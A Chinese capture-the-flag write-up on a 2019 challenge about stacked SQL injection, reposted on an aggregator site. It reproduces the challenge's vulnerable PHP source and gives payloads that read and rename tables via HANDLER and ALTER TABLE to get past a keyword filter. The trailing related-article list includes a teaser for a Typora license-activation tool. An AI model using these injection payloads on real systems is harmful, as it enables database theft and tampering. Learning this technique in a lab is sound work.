随便注【强网杯2019】

大佬的完整wp:buuctf-web-[强网杯 2019]随便注-wp_取材于某次真实环境渗透,只说一句话:开发和安全缺一不可-CSDN博客

知识点:

  • 单引号字符型绕过
  • 堆叠注入
    • 可以执行多条语句
    • multi_query():该函数可能引发堆叠注入
  • handler用法
    • mysql专属,可替代select部分功能
    • handler 表名 open;handler 表名 read next;handler 表名 close;
    • 和文件操作类似,先打开一个表,读取表内容(一条记录),关闭表
    • # 打开一个表名为 tbl_name 的表的句柄
      HANDLER tbl_name OPEN [ [AS] alias]
      
      # 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
      HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 2、通过索引查看表
      # FIRST: 获取第一行(索引最小的一行)
      # NEXT: 获取下一行
      # PREV: 获取上一行
      # LAST: 获取最后一行(索引最大的一行)
      HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 3、不通过索引查看表
      # READ FIRST: 获取句柄的第一行
      # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
      # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
      HANDLER tbl_name READ { FIRST | NEXT }
          [ WHERE where_condition ] [LIMIT ... ]
      
      # 关闭已打开的句柄
      HANDLER tbl_name CLOSE
      
  • strstr函数对大小写不敏感;可以利用大小写绕过
  • 数据库相关知识
    • show databases;
    • show tables;
    • show tables from 数据库名;
    • show columns from 表名;
    • desc 表名;
  • 这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别
  • 解题方法
    • 方法1:handler代替select绕过
      • 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
        • payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
    • 方法2:表名操作绕过
      • 通过修改表名和字段名进行绕过
        • 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
          • ​​​​​​​​​payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
          • payload:inject=1'+or+1=1%23
    • 方法3:预编译绕过(这种方法没做
      • 直接定义一条语句给变量,然后执行该变量
      • strstr函数不能区分大小写,利用大小写绕过set prepare等关键字检测
      • 流程
        • set用于设置变量名和值
          prepare用于预备一个语句,并赋予名称,以后可以引用该语句
          execute执行语句
          deallocate prepare用来释放掉预处理的语句
          

源码如下:(本题无提示,源码自己找的)

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>

</body>

</html>

通过观察源码发现有两层waf

前戏就不演示了,通过不断的测试发现这里存在堆叠注入,而且还有waf过滤,最关键的是把select和英文句号给过滤了,而且提示内容给出了waf1的信息,到这里我就蒙了,这怎么搞呀,最多能看一下表名和字段名,想使用outfile写入文件发现英文句号被过滤了,彻底把我难住了;看了一下大佬的wp才发现了新大陆,大佬的wp放到开头了

这里是单引号的字符型绕过

通过堆叠执行的前置命令:

  • 开始通过执行下面的命令获取到了关键的表名和字段名,flag就在数字表名中
  • 表名一定要加``符号(反引号);不然不识别;我就是这里被卡死了
  • 1';show+databases;--+
  • 1';show+tables;--+
  • 1';show+columns+from+`1919810931114514`;--+
    • 或者1';desc+`1919810931114514`;--+
  • 1';desc+`words`;--+
  • 1'+order+by+2--+
    • 1'+order+by+3--+

直接上关键节点:

方法1:

handler绕过:

payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23

方法2:

修改表名和字段名绕过

payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23

payload:inject=1'+or+1=1%23

方法3这里就不演示了,每种方法都得重启一遍靶场,可以直接看开头大佬的wp,写的很详细;

我这里主要是记一下sql注入的知识点,一些离奇的绕过方法

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/505449.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机基础系列 —— 虚拟机代码翻译器(2)

I believe that at the end of the century the use of words and general educated opinion will have altered so much that one will be able to speak of machines thinking without expecting to be contradicted. —— Alan Turing 文中提到的所有实现都可以参考&#xf…

【MATLAB源码-第173期】基于matlab的RS编码的2FSK通信系统误码率仿真,通过AWGN信道输出误码率曲线。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 通信系统的基本框架 在现代通信系统中&#xff0c;数据的传输通常涉及四个基本步骤&#xff1a;源编码、信道编码、调制和传输。源编码主要负责压缩数据&#xff0c;减少传输的数据量。信道编码则通过添加冗余信息来提高传输…

【Blockchain】区块链浏览器 | 以太坊Etherscan比特币Blockchain门罗币Monero

区块链浏览器概述 区块链浏览器是一种软件,它使用API(应用程序编程接口)和区块链节点从区块链中提取各种数据&#xff0c;然后使用数据库来排列搜索到的数据&#xff0c;并以可搜索的格式将数据呈现给用户。 用户的输入是资源管理器上的可搜索项&#xff0c;然后通过数据库上…

【力扣hot100】128-最长连续序列、283-移动零

128. 最长连续序列 import java.util.*;public class Test {public static void main(String[] args) {int[] nums {0, 3, 7, 2, 5, 8, 4, 6, 0, 1};int res new Solution().longestConsecutive(nums);System.out.println(res);} }class Solution {public int longestConsecu…

3.31学习总结

算法 解题思路 使用dfs,对蛋糕每层可能的高度和半径进行穷举.通过观察我们可以知道第一层的圆面积是它上面所有蛋糕层的圆面积之和,所以我们只要去求每层的侧面积就行了. 因为题目要求Ri > Ri1且Hi > Hi1,所以我们可以求出每层的最小体积和侧面积,用两个数组分别储存起来…

教你一键轻松领取阿里云优惠券

随着云计算的普及&#xff0c;越来越多的企业和个人开始选择使用云服务。阿里云作为国内领先的云计算服务提供商&#xff0c;以其稳定、高效、安全的服务赢得了广大用户的信赖。为了吸引用户上云&#xff0c;阿里云推出了优惠券活动&#xff0c;本文将教大家如何一键领取阿里云…

【Linux】深入理解进程状态、优先级和调度:Linux 内核中的实现原理探析

文章目录 前言1. 进程状态1.1. 轻量进程排队这件事情——队列1.2. 进程状态的表述及其影响&#xff1a;1.3. 挂起状态及处理&#xff1a;1.4.理解 Linux 内核源代码中的状态表述&#xff1a; 2. 进程优先级Linux 为什么要调整优先级是要受限的&#xff1f; 3. Linux的调度与切换…

Typora下载激活方案

一、下载 1.在typora官网下载最新版本&#xff0c;并安装: 官网地址 2.获取激活工具 感谢Typora激活方法&#xff08;2023年最新版&#xff09; - AI小智的文章 - 知乎 https://zhuanlan.zhihu.com/p/669618741 二、激活 1.把两个.exe文件复制到typora安装目录下 2.在typor…

ubuntu下给不同串口设置别名

目录 一、绑定设备ID 1.查看设备ID 2.编写usev规则 3.重新加载usev规则 4.查看 二、绑定USB端口号 1.先插入一个串口&#xff0c;查看USB设备信息 2.查看USB转串口信息 3.编写usev规则 4.重新加载usev规则 5.查看 在Ubuntu环境下&#xff0c;有时候工控机或者arm开…

推挽输出与开漏输出

推挽输出与开漏输出 文章目录 推挽输出与开漏输出前言一、推挽输出二、开漏输出总结 前言 在使用GPIO口时&#xff0c;会遇到两种配置&#xff0c;一种叫推挽输出&#xff0c;一种叫开漏输出&#xff0c;今天就简聊一聊这两种模式的差异和选择。 一、推挽输出 如图所示&#…

Lazarus远控组件NukeSped分析

静态信息&#xff1a; 样本md5&#xff1a;9b656f5d7e679b94e7b91fc3c4f313e4 由此可见为假的Adobe Flash Player 的攻击样本 样本分析 通过五个函数&#xff0c;内部调用sub_40159D函数动态获取API函数 利用IDA python解密字符串。。 完整python代码 Python> idc.get_…

扫雷(蓝桥杯)

题目描述 小明最近迷上了一款名为《扫雷》的游戏。其中有一个关卡的任务如下&#xff0c; 在一个二维平面上放置着 n 个炸雷&#xff0c;第 i 个炸雷 (xi , yi ,ri) 表示在坐标 (xi , yi) 处存在一个炸雷&#xff0c;它的爆炸范围是以半径为 ri 的一个圆。 为了顺利通过这片土…

Mac air 个人免费版VMWare Fusion安装及配置教程

Mac air 安装免费版VMWare Fusion教程及问题解决 1、下载VMWare Fusion2、下载wins镜像文件3、开始配置4、出现的问题及解决方法4.1 如何跳过启动时的网络连接4.2 启动后&#xff0c;无法连接网络怎么办4.3 怎么实现将文件拖拽到虚拟机中 当你手上是一台Mac电脑&#xff0c;却需…

【博弈论3——二人博弈的纳什均衡】

1.俾斯麦海之战 2. 零和博弈的定义 零和博弈&#xff08;Zero-Sum Game&#xff09;是一种博弈论的基本概念&#xff0c;指的是在博弈过程中&#xff0c;博弈参与者之间的收益和损失之和总是一个常数&#xff0c;特别是总和为零。即博弈一方的收益必然等于另一方的损失&#x…

RCG自条件是如何添加到 Pixel Generator上的?

在自条件的训练过程中&#xff0c;需要将图像经过Pretrained encoder的表征Rep输入进已有的Pixel Generator上&#xff0c;目前RCG是向四种Pixel Generator上加入了自条件&#xff0c;关于它是如何将rep加到Pixel Generator上的&#xff0c;我来总结一下&#xff1a; 一、Pixel…

[SpringCloud] Feign Client 的创建 (一) (四)

文章目录 1.FeignClientsRegistrar2.完成配置注册2.1 registerDefaultConfiguration方法2.2 迭代稳定性2.3 registerFeignClients方法 1.FeignClientsRegistrar FeignClientsRegistrar实现ImportBeanDefinitionRegistrar接口。 2.完成配置注册 public void registerBeanDefinit…

JQ 查看图片的好插件

效果图 插件官网 https://blog.51cto.com/transfer?https://github.com/fengyuanchen/viewer 使用 <!DOCTYPE html> <html lang"en"> <head><meta charset"utf-8"><link rel"stylesheet" href"css/viewer.c…

攻防世界——catfly

这道题我觉得很难&#xff0c;我当初刷题看见这道题&#xff0c;是唯一一道直接跳过的&#xff0c;现在掌握了一点知识才回来重新看 这道题在linux运行下是这样&#xff0c;我首先猜测是和下面这个time有关&#xff0c;判断达到一定次数就会给我flag 但是我找了好久都没找到那…

(九)信息融合方式简介

目录 前言 一、什么是信息融合&#xff1f; 二、集中式信息融合与分布式信息融合 &#xff08;一&#xff09;集中式融合 &#xff08;二&#xff09;分布式融合 1.简单信息融合 2.CI&#xff08;协方差交叉&#xff09;信息融合 3.无反馈的最优分布式融合 4.有反馈的…

反应式编程(一)什么是反应式编程

目录 一、背景二、反应式编程简介2.1 定义2.2 反应式编程的优势2.3 命令式编程 & 反应式编程 三、Reactor 入门3.1 Reactor 的核心类3.2 Reactor 中主要的方法1&#xff09;创建型方法2&#xff09;转化型方法3&#xff09;其他类型方法4&#xff09;举个例子 四、Reactor …